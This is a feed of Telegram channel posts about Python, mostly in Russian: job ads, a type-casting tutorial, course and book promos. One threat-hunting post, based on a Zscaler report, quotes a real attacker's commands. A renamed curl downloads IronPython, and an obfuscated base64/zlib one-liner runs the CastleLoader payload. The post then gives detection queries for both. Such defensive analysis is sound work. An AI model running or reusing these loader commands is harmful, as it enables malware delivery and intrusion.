Описание: Python GUI с PyQt — это бесценное руководство как для начинающих, так и для опытных программистов, которые хотят овладеть искусством создания визуально привлекательных и интерактивных графических пользовательских интерфейсов (GUI) для приложений на Python с использованием библиотеки PyQt5 и инструмента визуального компонования Qt Designer. В руководстве подробно и доступно для новичков изложены все основные концепции программирования графического интерфейса на PyQt5.

• Скачать книгу из архива

#Python

📚 Полка Разработчика

Sep 17, 11:07 AMMore from @developer_shelf

knowyouradversary

@knowyouradversary

424

Всем привет!

Как вы знаете, злоумышленники нередко используют различные интерпретаторы команд и сценариев на различных этапах жизненного цикла атаки. Сегодня мы посмотрим на не самый распространенный пример использования Python (T1059.006).

Чтобы сформировать гипотезы для проактивного поиска, заглянем в отчет Zscaler о SloppyRAT. Нас будет интересовать, посвященная Python. Во-первых, атакующие использовали переименованную копию curl.exe для загрузки IronPython с GitHub:

"C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip

В данном случае мы можем осуществлять поиск подозрительных загрузок IronPython с помощью cURL:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "curl.exe"

AND

cmdline: *ironpython*

Далее атакующие использовали загруженный интерпретатор для доставки CastleLoader, и далее - CastleRAT:

"C:\Users\[redacted]\AppData\Local\IronPython.3.4.2\net462\31706105999761.exe" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJytEtLwAUhbMW/A8FF0Bq1aeEirhpeALi4o7qw1ixdbWPLQq/eege/iJVgN4uIjmfuaM2earkVRNBYPYleci4E4Eh1kL7FiTgTU2JvYov4TPtoDfFEzEUu+mJHHIiVscJee/rCvEuUokFPjq69YXLJzv7StZjd/Y70SYe5jxtLl6CncL09xtBzi2fW26c+ITfkPSVX0luQH/FeoDd3M4P2Jzdv7s6x/41ndfSUzHwhluFByjNB828azi+souev/OZ874d8LjPL/NotmDwj+w7y88+6yh72Lkm9AzpuxcM9Q8wlX0n0e')).decode('utf-32'))]"

В этот раз можно взглянуть на подозрительные запуски IronPython с декодированием base64:

event_type: "processcreatewin"

AND

proc_file_productname: "ironpython"

AND

cmdline: "base64.b64decode"

В целом, IronPython едва ли будет использоваться среднестатистическим пользователем, следовательно, появление подобного интерпретатора на хосте уже можно считать подозрительным событием.

Скоро увидимся!

English version

Sep 17, 11:05 AMMore from @knowyouradversary

IT курсы / Программирование

@hacckingbook

543

Курс «Анализ данных»

#курс #Python #данные

Python и Excel в связке: обработка данных, визуализация, матстатистика и A/B-тесты. Полезен не только аналитикам — разработчику тоже пригодится понимать, почему «выросло на 20%» иногда ничего не значит.

Смотреть курс

LH | IT Курсы | OSINT | AI

Sep 17, 10:29 AMMore from @hacckingbook

Artificial Intelligence

@machinelearning_deeplearning

1.8K

In the previous post, we learned how to take input from users and display output. One important thing we discovered was that input() always returns a string. So, how do we convert one data type into another? That's where Type Casting comes in.

📖 Phase 1: Programming Fundamentals

📌 Topic 7: Type Casting

Type Casting is the process of converting a value from one data type to another.

For example, you may receive a number as a string from the user, but you need to perform mathematical operations on it. In such cases, type casting is required.

Why Do We Need Type Casting? Type casting helps us: • Convert user input into numbers. • Perform mathematical calculations. • Change data from one type to another. • Prevent type-related errors.

Types of Type Casting There are two types of type casting in Python: • Implicit Type Casting (Automatic) • Explicit Type Casting (Manual)

1. Implicit Type Casting Python automatically converts one data type into another when it is safe to do so.

Example:

num = 10 price = 5.5

result = num + price

print(result) print(type(result))

Output:

15.5 <class 'float'>

Python automatically converts the integer into a float.

2. Explicit Type Casting In explicit type casting, the programmer manually converts the data type using built-in functions.

Some commonly used conversion functions are: • int() → Converts to Integer • float() → Converts to Float • str() → Converts to String • bool() → Converts to Boolean

Converting String to Integer

age = "25" age = int(age)

print(age) print(type(age))

Output:

25 <class 'int'>

Converting Integer to Float

marks = 90 marks = float(marks)

print(marks)

Output:

90.0

Converting Number to String

num = 100 text = str(num)

print(text) print(type(text))

Output:

100 <class 'str'>

Converting Values to Boolean

print(bool(1)) print(bool(0)) print(bool("")) print(bool("Python"))

Output:

True False False True

Common Beginner Mistakes ❌ Trying to convert invalid values.

Example:

num = int("Hello")

This will produce an error because "Hello" is not a valid integer.

❌ Forgetting to convert user input before performing calculations.

Best Practices ✅ Convert data only when necessary. ✅ Validate user input before converting. ✅ Use the correct conversion function for the required data type.

Key Takeaways • Type Casting means converting one data type into another. • Python supports both Implicit and Explicit type casting. • int(), float(), str(), and bool() are the most commonly used conversion functions. • Always convert user input before performing mathematical operations. • Understanding type casting helps you write error-free and efficient programs.

➡️ Double Tap ❤️ For More

Sep 17, 10:17 AMMore from @machinelearning_deeplearning

Machine Learning with Python

@codeprogrammer

Machine Learning with Python pinned «Get Up to 500MB of Residential Proxy Traffic for Your Python Projects 🐍 Building a web scraper with Python? ThorData helps developers collect public web data while handling proxy rotation, geo-targeting, and access restrictions. ✅ Residential IPs across…»

Sep 17, 09:23 AMMore from @codeprogrammer

Fullstack / Web Development Job Offers

@runello_rus_webdevelopment

395

Разработчик AI-решений

Грейд: Middle/Senior Стек: Python, LLM, RAG, AI-агенты, Django, Django REST Framework, FastAPI, GenAI

Сбер Банк — крупнейший российский финансовый конгломерат, предоставляющий широкий спектр банковских услуг для частных лиц, малого бизнеса и корпоративных клиентов.

Откликнуться через Runello-бот ↓

#python #middle

Sep 17, 09:10 AMMore from @runello_rus_webdevelopment

Devops Jobs — вакансии и резюме

@devops_jobs_feed

1.8K

Публикатор: степа Обсуждение: @devops_jobs #резюме #devops #sre #kubernetes #gitops #observability #remote #удаленка

SRE / DevOps Engineer

Локация: Россия, Самара Формат работы: удалённо Опыт: 1 год 3 месяца коммерческого опыта

Обо мне:

SRE / DevOps-инженер с коммерческим опытом эксплуатации Kubernetes-инфраструктуры, CI/CD, мониторинга и сопровождения production-сервисов.

Самостоятельно сопровождаю Kubernetes, разбираю инфраструктурные инциденты, автоматизирую эксплуатационные задачи и стандартизирую сборку и развёртывание приложений.

Практический опыт:

- Самостоятельно сопровождаю 2 Kubernetes-кластера: около 300 pod'ов, 20-30 микросервисов и несколько десятков виртуальных машин. - Сопровождал приложения в Kubernetes, участвовал в обновлении кластеров, анализировал состояние сервисов по Grafana, метрикам и логам. - Перестроил процесс сборки и выпуска приложений: перевёл проекты с Jenkins на GitLab CI, шаблонизировал пайплайны, настроил rules/needs, версионирование образов, сборку Helm-чартов и публикацию в Nexus. - Развернул ArgoCD и перевёл приложения под его управление; писал и перерабатывал Helm-чарты, создал umbrella chart для единого развёртывания стека мониторинга. - Развернул HashiCorp Vault с нуля в Kubernetes через Helm в отказоустойчивой конфигурации с Raft и настроил интеграцию приложений через External Secrets Operator. - Внедрил Gitleaks через общий шаблон GitLab CI примерно в 15-20 репозиториях. - Объединил мониторинг Kubernetes и виртуальных машин на Prometheus/VictoriaMetrics, перенёс мониторинг VM в кластер и переработал Alertmanager, снизив шум уведомлений. - Повышал устойчивость Kubernetes-сервисов с помощью HPA, PDB, PriorityClass, настройки ресурсов и стратегий обновления; использовал cordon/drain для безопасного вывода проблемных нод. - Диагностировал инфраструктурные инциденты: высокий fsync у etcd, HTTP 503, проблемы Redis Sentinel/HAProxy и Nginx, OOM, заполнение дисков, ошибки DNS, TLS и сетевой фильтрации. - Диагностировал сбои и проблемы с памятью Java-приложений в Linux по метрикам, системным и прикладным логам. - Оптимизировал сборку контейнеров с помощью multi-stage Dockerfile и прокси-кэша Python-пакетов. - Разработал Python-инструмент для ежедневной проверки сервисов, сбора диагностики и формирования отчёта.

Стек:

Kubernetes / Platform: Kubernetes, Helm, ArgoCD, Docker, Istio, Nginx, RBAC, etcd

CI/CD: GitLab CI, Jenkins, Nexus, Gitleaks, Git

Мониторинг: Prometheus, VictoriaMetrics, Grafana, Loki, Alertmanager, Sentry

Секреты и данные: HashiCorp Vault, External Secrets Operator, PostgreSQL, Patroni, PgBouncer, Redis Sentinel, Kafka, Ceph/S3, SeaweedFS

Автоматизация: Python, Bash, Linux

Образование: Самарский национальный исследовательский университет имени академика С. П. Королёва Информатика и вычислительная техника Окончание - 2027

Языки: Русский - родной Английский - B1

Telegram: @relaxxx89 Email: [email protected]

Sep 17, 08:24 AMMore from @devops_jobs_feed

Fullstack / Web Development Job Offers

@runello_rus_webdevelopment

373

Python Developer

Стек: Python, Codex, Gemini, Claude Code, Qwen Code, System Design, FastAPI, Flask

Откликнуться через Runello-бот ↓

#python #hybrid

Sep 17, 08:10 AMMore from @runello_rus_webdevelopment

Backend / Server-side Job Offers

@runello_rus_backend

328

Разработчик AI-решений

Грейд: Middle/Senior Стек: Python, LLM, RAG, AI-агенты, Django, Django REST Framework, FastAPI, GenAI

Откликнуться через Runello-бот ↓

#python #middle

Sep 17, 08:10 AMMore from @runello_rus_backend

UzDev Jobs – IT Jobs

@uzdev_jobs

5.7K

#datascientist #machinelearning #mlops Data Scientist | Ташкент

Ищем Data Scientist для долгосрочного проекта в Ташкенте. Основная задача — разработка и внедрение моделей кредитного скоринга для сегментов IP и MMSB, а также дальнейшая поддержка моделей в продакшене.

Что предстоит делать: — участвовать в разработке и валидации моделей кредитного скоринга — регулярно запускать и контролировать ML-пайплайны — мониторить производительность и стабильность моделей — проводить плановое переобучение моделей — готовить отчёты по производительности моделей, включая Gini / KS — поддерживать модели в продакшене

Стек: Python, SQL, Apache Spark, StarRocks, MLflow, Git, CI/CD, MLOps

Что важно: — от 2 лет опыта в Data Science — понимание принципов кредитного скоринга — узбекский язык обязателен, без него кандидаты не рассматриваются — опыт работы в банковской сфере или финтехе — уверенный SQL и Python, практический опыт с Apache Spark — опыт внедрения и сопровождения ML-моделей в продакшене — понимание MLOps и полного жизненного цикла ML-моделей

Будет большим плюсом: — опыт работы в банках или финтех-компаниях Узбекистана

Условия: — полная занятость — зарплата до 4000 USD на руки — Ташкент, работа из офиса — долгосрочный проект

Если вакансия интересна, присылайте резюме в личные сообщения.

Контакт: @anawexx

👉 Подписаться на канал @UzDev_Jobs

Sep 17, 08:03 AMMore from @uzdev_jobs

Dev KZ | Vacancy

@devkz_jobs

4.6K

#астана #python

🚀 Lead Computer Vision Engineer / Computer Vision Tech Lead

📍 Астана, ОФИС (район Абу даби плаза) 💼 Полная занятость 💰 700 000–1 700 000 ₸ 📲 @yurttech Компания: Yurt Tech

Ищем технического лидера Computer Vision для масштабной системы видеомониторинга и интеллектуальной видеоаналитики государственного уровня.

Задачи: — Руководить командой Computer Vision Engineers — Проектировать архитектуру production AI-систем — Менторить инженеров и проводить code review — Декомпозировать задачи и контролировать качество реализации — Разрабатывать пайплайны обработки десятков и сотен RTSP-потоков — Оптимизировать инференс на GPU и CPU — Принимать ключевые технические решения — Участвовать в найме и развитии AI-команды

Основной стек: Python, PyTorch, OpenCV, YOLO, RTSP, GStreamer, NVIDIA DeepStream, TensorRT, Triton Inference Server, ONNX, OpenVINO, CUDA, FastAPI/gRPC, Docker и Kubernetes.

Что важно: ✅ Сильный коммерческий опыт в Computer Vision и Video Analytics ✅ Опыт технического лидерства или менторства ✅ Запуск production AI-систем ✅ Уверенное знание Python, PyTorch, OpenCV и YOLO ✅ Практический опыт с RTSP, GStreamer, DeepStream и TensorRT ✅ Оптимизация моделей через ONNX, TensorRT, OpenVINO, CUDA или Quantization ✅ Понимание высоконагруженной обработки видеопотоков ✅ Умение принимать и аргументировать архитектурные решения

Будет плюсом: ➕ Triton Inference Server ➕ C++ и CUDA ➕ Kafka и потоковая обработка данных ➕ MLflow и MLOps ➕ ViT, DETR, Swin и Video Transformers ➕ VLM, RAG, LangGraph, vLLM и Function Calling ➕ Опыт найма и формирования AI-команд

Предлагаем влияние на архитектуру и технологический стек, сильную инженерную команду и работу над высоконагруженной системой промышленного уровня.

Sep 17, 07:59 AMMore from @devkz_jobs

Рефералки в IT | Вакансии и резюме

@refer_me_it

2.7K

Область и стек: Big Data/Data Engineering

Должность: ✨ Junior Data Scientist (Python)

Компания: Coperto

Зарплатная вилка: 90 000 — 105 000 ₽/мес

Формат работы: Удаленка

Страна работы: Россия

Опыт: Без опыта

Обязанности

• Подготовка данных: выгрузки из PostgreSQL и POS, очистка, пропуски, выбросы • Прогнозные модели: поток гостей, спрос на позиции меню, потребность в закупках • Признаки предметной области: сезонность, праздники, погода, история продаж • Валидация: разбиение по времени, контроль утечек, бизнес-метрика рядом с технической • Продуктовые исследования: сегменты гостей, средний чек, отток, эффективность акций • Передача модели в прод вместе с бэкендом: контракт данных, инференс, мониторинг качества • Код-ревью, обсуждение гипотез, планирование задач

Требования

• Python 3.11+, аннотации типов • pandas, NumPy: группировки, join'ы, оконные функции, даты • scikit-learn: пайплайны, кросс-валидация, подбор гиперпараметров • Метрики и переобучение: MAE / MAPE, бейзлайн, утечки • SQL: join'ы, агрегаты, оконные функции • EDA: matplotlib или seaborn • Git, ветки, PR, код-ревью • Плюсом: statsmodels, Prophet, CatBoost, Docker, FastAPI, Airflow, MLflow, LLM и RAG

Что предлагаем

• Удалённо из России, свободный график • Доступы к AI-сервисам (ChatGPT, Claude и другие) • Обучение за счёт компании: курсы, книги, конференции, хакатоны • Ревью каждые 6 месяцев, путь до Middle+ за 0.5–1 года

Откликнуться на вакансию

Sep 17, 07:39 AMMore from @refer_me_it

Python Hacks

@python_secrets

1.8K

Создание прозрачного окна для рисования поверх всех приложений

В этой статье автор рассмотрит, как создать прозрачное окно для рисования на языке Python, используя библиотеку PyQt5. Вы научитесь создавать окно, настраивать прозрачность и отображать его поверх всех окон на рабочем столе, сохраняя при этом функциональность и удобство использования для пользователей.

Python Hacks

Sep 17, 07:30 AMMore from @python_secrets

Backend / Server-side Job Offers

@runello_rus_backend

297

Python Developer

Стек: Python, Codex, Gemini, Claude Code, Qwen Code, System Design, FastAPI, Flask

Откликнуться через Runello-бот ↓

#python #hybrid

Sep 17, 07:10 AMMore from @runello_rus_backend

UzDev Jobs – IT Jobs

@uzdev_jobs

4.9K

#senior #genai Senior GenAI Engineer (Agentic AI & Databricks) | Tashkent

Accesa is a European technology company with 20+ years of experience and around 1,200 IT professionals. We are growing our team in Uzbekistan and looking for a Senior GenAI Engineer to join an international project.

You’ll help build an ecosystem of AI agents for data collection, content processing and market intelligence, while contributing to the architecture and technical direction of the solution.

What you’ll do Design and build AI agents and LLM-based solutions Develop data pipelines and lakehouse solutions in Databricks Integrate AI agents with Databricks and other data platforms Build Python-based data collection, web scraping and content-indexing solutions Contribute to architecture and technical decisions Work closely with an international engineering team

What we’re looking for - Senior-level software/AI engineering experience - Strong Python - Hands-on GenAI / LLM / Agentic AI experience - Data engineering and pipeline experience - Hands-on Databricks experience - Ability to take ownership and contribute to architectural decisions - English C1

Nice to have: - Knowledge graphs/ontologies, - Web scraping, - Databricks Genie, - Agent frameworks and greenfield architecture experience.

Location: Tashkent, Uzbekistan Project: International / European collaboration

Accesa offers: medical insurance, 21+ vacation days, professional development opportunities, and support from a Career Coach. Salary range: from 2500 USD net

Apply through: https://jobs.smartrecruiters.com/ni/ACCESA/1003da67-bbfd-4937-b16c-d66ab8a91cfd-senior-genai-engineer-agentic-ai-databricks-

Once you submit your application, our recruitment team will get in touch with you

Join Accesa and transform data into meaningful product improvements.

👉 Подписаться на канал @UzDev_Jobs

Sep 17, 07:01 AMMore from @uzdev_jobs

Python Developer

@python_tg

1.4K

▪️ Русскоязычный справочник по Python в одном месте

Нашли большую базу материалов по Python для обучения и ежедневной разработки.

Внутри есть пошаговый учебник для начинающих, справочник стандартной библиотеки и встроенных функций, а также разбор синтаксиса и семантики языка.

⛓ Ссылка на справочник

tags: #полезное

➡ Python Developer | 📲 MAX

Sep 17, 07:00 AMMore from @python_tg

Relocate - зарубежные вакансии на релокацию и удаленку

@young_relocate

2.4K

Fledge hiring Fledge, dating-приложение для рынков США и Европы. В основе проекта — опыт команды, которая ранее создала и масштабировала один из крупнейших дейтинг-сервисов в СНГ.

Собираем команду по всему миру: работаем удалённо и не привязываемся к городу или стране, где вы находитесь. Сотрудничество оформляем через Service Agreement. Платим в валюте, без привязки к курсу.

Сейчас открыто несколько ролей от продукта и дизайна до разработки и поддержки: • Design/UX UI Lead ⚡️ • Python Developer ⚡️ • Product Owner ⚡️

• Performance Marketing Manager ⚡️ • L1 Support Specialist ⚡️ • QA Automation Engineer (Python) ⚡️

Больше вакансий в профильных каналах ежедневно: • Продакты и менеджеры → • Разработчики → • ML инженеры → • Дизайнеры → • Маркетологи, SMM → • Аналитики →

Sep 17, 07:00 AMMore from @young_relocate

Best Job in Armenia

@bestjobinarmenia

5.5K

🔥 Research Scientist в NVIDIA

● Локация: Ереван

● Зарплата: не указана

● Задача: Разрабатывать новые модели глубокого обучения для языковых моделей, связанных с программированием и математическими рассуждениями, а также создавать алгоритмы масштабного обучения.

● Требования: Cтепень PhD в области компьютерных наук или электротехники со специализацией в Deep Learning, не менее 2 лет исследовательского опыта и уверенно владеть Python и PyTorch. Иметь публикации в области глубокого обучения.

● Рыночная зарплата: Мы считаем, что такая позиция на рынке стоит от 1 000 000 AMD.

● Как откликнуться: заполнить форму на сайте

🟥🟦🟧 Հետազոտող գիտնական NVIDIA-ում

● Տեղակայություն՝ Երևան

● Աշխատավարձ՝ Չի նշվել

● Պաշտոն՝ Ծրագրավորման և մաթեմատիկական տրամաբանության հետ կապված լեզվական մոդելների համար նոր խորը ուսուցման մոդելներ մշակել և ստեղծել մեծածավալ ուսուցման ալգորիթմներ։

● Պահանջներ: Համակարգչային գիտություններ կամ էլեկտրատեխնիկա մասնագիտությամբ PhD աստիճան՝ խորը ուսուցման (Deep Learning) մասնագիտացմամբ, առնվազն 2 տարվա հետազոտական փորձ և Python-ի ու PyTorch-ի հիանալի իմացություն։ Թեկնածուները պետք է ունենան հրատարակություններ խորը ուսուցման ոլորտում։

● Շուկայական աշխատավարձ. Մենք գնահատում ենք, որ այսպիսի դիրքի շուկայական արժեքը կազմում է 1,000,000 AMD-ից սկսած։

● Ինչպես դիմել. Լրացրեք կայքում առկա ձևաթուղթը։

#IT #от1млн

@bestjobinarmenia

Sep 17, 06:30 AMMore from @bestjobinarmenia

IT Вакансии Казахстан

@workitkz

8.2K

#вакансия #астана #оффлайн #workITkz #fullstack Должность: FULLSTACK-РАЗРАБОТЧИК Компания: Prime Group https://primegc.kz/ Город: Астана Занятость: оффлайн Оплата: 1 млн тенге

Prime Group развивает собственную медицинскую информационную систему (МИС) и связанные внутренние сервисы для группы клиник. Ищем fullstack-разработчика, способного самостоятельно проектировать и развивать архитектуру системы на всех уровнях — от базы данных до интерфейса, — а также выстраивать интеграции с внешними и внутренними системами. Описание вакансии: Node.js / TypeScript, Python или сопоставимый стек PostgreSQL / SQL, проектирование и оптимизация БД REST API, WebSocket, интеграции и обмен данными React / TypeScript и современной frontend-разработки Git, Docker, Linux, CI/CD Опыт коммерческой разработки — от 3 лет Сильные знания backend-разработки, желательно Node.js / TypeScript, Python или сопоставимый стек Уверенная работа с PostgreSQL / SQL, проектирование и оптимизация БД REST API, WebSocket, интеграции и обмен данными Понимание React / TypeScript и современной frontend-разработки Git, Docker, Linux, CI/CD Redis, очереди сообщений, фоновые задачи и кэширование Понимание микросервисной и event-driven архитектуры Умение разбираться в legacy-коде и чужих системах Понимание безопасности, авторизации, логирования и мониторинга Способность самостоятельно проектировать и реализовывать функционал от БД до интерфейса

Официальное трудоустройство согласно ТК РК Возможность выстроить архитектуру МИС группы компаний практически с нуля и влиять на выбор технологического стека Работа в связке с главным менеджером по цифровизации и IT-отделом группы компаний Перспективы профессионального и карьерного роста внутри группы компаний

Контакты: Telegram @aliya_balbul Whatsapp +7 702 209 0747

Sep 17, 06:29 AMMore from @workitkz

Zen of Python

@zen_of_python

Как устроен асинхронный веб-краулер на Python

Обстоятельная глава строит краулер с нуля: от корневого URL он скачивает страницы, извлекает новые ссылки и ставит их в очередь. Число одновременных запросов ограничивают, чтобы избыток конкуренции не снижал производительность.

Разбор идёт от цикла событий с неблокирующими сокетами и колбэками к корутинам на генераторах, а затем к asyncio с асинхронной очередью. Переходы показывают, как избежать неуправляемых цепочек колбэков.

Асинхронность не означает параллельные вычисления и не обязана быть быстрее потоков. Она подходит для множества медленных соединений с редкими событиями, где поток на каждый запрос расходует память и упирается в системные ограничения.

В главе «A Web Crawler With asyncio Coroutines» из 500 Lines or Less код написан для Python 3.4. Читайте ради механики цикла событий; перед копированием сверяйте API с документацией.

Sep 17, 06:10 AMMore from @zen_of_python

Python Job | Вакансии | Стажировки

@job_python

1.9K

#senior #300k #удаленка

GO Digital Senior Python Developer (FastAPI, Kafka) от 200 000 до 350 000 ₽ на руки Опыт работы: более 6 лет Формат работы: удалённо

☑️ Чем предстоит заниматься -Разрабатывать новый функционал в существующих сервисах -Проектировать и создавать новые backend-сервисы с нуля -Участвовать в проработке архитектуры и технических решений -Писать unit- и интеграционные тесты -Улучшать наблюдаемость сервисов (логи, метрики, трейсинг)

☑️ Что для нас важно -Коммерческий опыт разработки на Python — от 6 лет -Опыт разработки backend-сервисов на FastAPI или Litestar (Starlite) -Опыт работы с Kafka и/или Redis Pub/Sub -Уверенная работа с PostgreSQL -Опыт работы с event-driven архитектурой -Уверенное владение Git, Docker, CI/CD

Откликнуться

Python Job в Telegram | в VK | в Max

Sep 17, 05:00 AMMore from @job_python